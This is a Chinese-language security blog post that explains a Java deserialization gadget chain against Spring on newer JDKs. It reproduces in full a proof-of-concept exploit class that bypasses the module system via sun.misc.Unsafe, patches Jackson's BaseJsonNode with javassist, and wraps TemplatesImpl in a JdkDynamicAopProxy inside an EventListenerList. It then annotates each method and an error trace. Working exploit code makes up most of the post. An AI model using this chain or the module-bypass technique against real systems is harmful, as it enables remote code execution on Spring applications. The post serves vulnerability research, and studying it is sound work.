注意个问题,–add-opens这些参数要加载vmoptions里面,而不是程序实参里面
默认情况是没有vmoption的,要像上图那样点一下设置一下
这里用一下fushuling师傅的POC
(运行这POC之前要将VM option设置为–add-opens=java.base/sun.nio.ch=ALL-UNNAMED –add-opens=java.base/java.lang=ALL-UNNAMED –add-opens=java.base/java.io=ALL-UNNAMED –add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED –add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED –add-opens=java.base/java.lang.reflect=ALL-UNNAMED)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 package com.example.springonly.demos.web;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import sun.misc.Unsafe;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.ArrayList;import java.util.Base64;import java.util.Vector;public class SpringAllKill { public static void main (String[] args) throws Exception{ try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); } catch (Exception e) { } ArrayList<Class> classes = new ArrayList <>(); classes.add(TemplatesImpl.class); classes.add(POJONode.class); classes.add(EventListenerList.class); classes.add(SpringAllKill.class); classes.add(Field.class); classes.add(Method.class); new SpringAllKill ().bypassModule(classes); byte [] code1 = getTemplateCode(); byte [] code2 = ClassPool.getDefault().makeClass("fushuling" ).toBytecode(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "xxx" ); setFieldValue(templates, "_bytecodes" , new byte [][]{code1, code2}); setFieldValue(templates,"_transletIndex" ,0 ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); POJONode node = new POJONode (makeTemplatesImplAopProxy(templates)); EventListenerList eventListenerList = getEventListenerList(node); serialize(eventListenerList, true ); } public static byte [] serialize(Object obj, boolean flag) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); oos.close(); if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); return baos.toByteArray(); } public static Object makeTemplatesImplAopProxy (TemplatesImpl templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, handler); return proxy; } public static byte [] getTemplateCode() throws Exception { ClassPool pool = ClassPool.getDefault(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); pool.insertClassPath(new javassist .LoaderClassPath(classLoader)); CtClass ctClass = pool.get("com.example.springonly.Evil" ); return ctClass.toBytecode(); } public static EventListenerList getEventListenerList (Object obj) throws Exception{ EventListenerList list = new EventListenerList (); UndoManager undomanager = new UndoManager (); Vector vector = (Vector) getFieldValue(undomanager, "edits" ); vector.add(obj); setFieldValue(list, "listenerList" , new Object []{Class.class, undomanager}); return list; } private static Method getMethod (Class clazz, String methodName, Class[] params) { Method method = null ; while (clazz!=null ){ try { method = clazz.getDeclaredMethod(methodName,params); break ; }catch (NoSuchMethodException e){ clazz = clazz.getSuperclass(); } } return method; } private static Unsafe getUnsafe () { Unsafe unsafe = null ; try { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe) field.get(null ); } catch (Exception e) { throw new AssertionError (e); } return unsafe; } public void bypassModule (ArrayList<Class> classes) { try { Unsafe unsafe = getUnsafe(); Class currentClass = this .getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule" , new Class [0 ]); if (getModuleMethod != null ) { for (Class aClass : classes) { Object targetModule = getModuleMethod.invoke(aClass, new Object []{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )), targetModule); } } }catch (Exception e) { } }catch (Exception e){ e.printStackTrace(); } } public static Object getFieldValue (Object obj, String fieldName) throws Exception { Field field = null ; Class c = obj.getClass(); for (int i = 0 ; i < 5 ; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } field.setAccessible(true ); return field.get(obj); } public static void setFieldValue (Object obj, String field, Object val) throws Exception { Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true ); dField.set(obj, val); } }
参考文章的POC是没有修改_tfactory的值的,但是我运行的时候不修改就报空指针异常走不到恶意类的静态代码块
下面解释一下各部分代码的作用
1 2 3 4 5 6 7 8 9 public static Object makeTemplatesImplAopProxy (TemplatesImpl templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, handler); return proxy; }
这个函数就是创建了一个恶意的JdkDynamicAopProxy,目的之一是为了保持链子的稳定性,因为如果不用这个代理类包装一下,直接将templatesImpl放进去的话,templatesImpl有3个getter,获取的顺序是随机的,有可能造成空指针异常,这在JSON1中也有提及。
另外一个原因最开始我其实没怎么看懂
看这报错可能是获取TemplatesImpl的getter的时候被模块化给限制了
但用aop代理一下获取getter的时候获取的就是Templates这个接口的getter,而Templates这个类又是被java.xml模块给exports了的,所以就能正常获取,最后调用的时候就由aop调用TemplatesImpl#getOutputProperties
1 2 3 4 5 6 7 8 9 10 11 public static byte [] getTemplateCode() throws Exception { ClassPool pool = ClassPool.getDefault(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); pool.insertClassPath(new javassist .LoaderClassPath(classLoader)); CtClass ctClass = pool.get("com.example.springonly.Evil" ); return ctClass.toBytecode(); }
这方法是构造真正利用恶意类
1 2 3 4 5 6 7 8 9 10 11 public static EventListenerList getEventListenerList (Object obj) throws Exception{ EventListenerList list = new EventListenerList (); UndoManager undomanager = new UndoManager (); Vector vector = (Vector) getFieldValue(undomanager, "edits" ); vector.add(obj); setFieldValue(list, "listenerList" , new Object []{Class.class, undomanager}); return list; }
这是构造恶意的EventListener,因为高版本jdk,BadAttribute用不了了,用EventListener来作为触发toString的替代品
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public void bypassModule (ArrayList<Class> classes) { try { Unsafe unsafe = getUnsafe(); Class currentClass = this .getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule" , new Class [0 ]); if (getModuleMethod != null ) { for (Class aClass : classes) { Object targetModule = getModuleMethod.invoke(aClass, new Object []{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )), targetModule); } } }catch (Exception e) { } }catch (Exception e){ e.printStackTrace(); } }
这是利用unsafe修改模块绕过模块化系统检测的
关于这部分知识点详情可见jdk17&CC链绕过模块检测利用TemplatesImpl-先知社区
接下来进入main函数
1 2 3 4 5 6 7 8 9 try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); } catch (Exception e) { }
因为BaseJsonNode是POJONode的爷爷类,首先把BaseJsonNode的writeReplace方法给删了(改名字也行)
当对象被序列化时,Java 会优先调writeReplace。如果该方法返回了另一个对象,则序列化的内容将基于返回的对象,而非原始对象。
所以要用javassist给这个方法改个名字或者直接把这个方法删了,避免反序列化出问题(其实序列化的时候已经出问题了)
1 2 3 4 5 6 7 8 9 ArrayList<Class> classes = new ArrayList <>(); classes.add(TemplatesImpl.class); classes.add(POJONode.class); classes.add(EventListenerList.class); classes.add(SpringAllKill.class); classes.add(Field.class); classes.add(Method.class); new SpringAllKill ().bypassModule(classes);
这部分配合bypassModule方法的逻辑,我觉得只需要add(Method.class)就行了,前面的add都可以注释掉
如果将bypassModule给注释掉
1 2 3 4 5 6 7 8 9 10 Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field protected java.util.Vector javax.swing.undo.CompoundEdit.edits accessible: module java.desktop does not "opens javax.swing.undo" to unnamed module @2d363fb3 at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354 ) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297 ) at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:178 ) at java.base/java.lang.reflect.Field.setAccessible(Field.java:172 ) at com.example.springonly.demos.web.SpringAllKill.getFieldValue(SpringAllKill.java:151 ) at com.example.springonly.demos.web.SpringAllKill.getEventListenerList(SpringAllKill.java:88 ) at com.example.springonly.demos.web.SpringAllKill.main(SpringAllKill.java:52 ) 进程已结束,退出代码为 1
为什么将当前class的module改成Method.class的module java.base就可以成执行了呢?明明java.desktop的module.info没有opens java.base
可以看这个方法,刚刚报错就是因为这个方法返回了false,因为Object.class.getModule()返回的值就是java.base,如果将当前class的module设置成java.base这个方法就能返回true,所以如果有什么字段的值设置不了可以考虑将当前class的模块改成java.base
1 2 3 4 5 6 7 8 9 10 11 byte [] code1 = getTemplateCode();byte [] code2 = ClassPool.getDefault().makeClass("fushuling" ).toBytecode();TemplatesImpl templates = new TemplatesImpl ();setFieldValue(templates, "_name" , "xxx" ); setFieldValue(templates, "_bytecodes" , new byte [][]{code1, code2}); setFieldValue(templates,"_transletIndex" ,0 ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); POJONode node = new POJONode (makeTemplatesImplAopProxy(templates));EventListenerList eventListenerList = getEventListenerList(node);serialize(eventListenerList, true );
最后就是将这些串起来
EventListener#readObject->POJONode#toString->JdkDynamicAopProxy#invoke->TemplatesImpl#getOutputProperties->Evil静态代码块
本文参考:高版本JDK下的Spring原生反序列化链 – fushulingのblog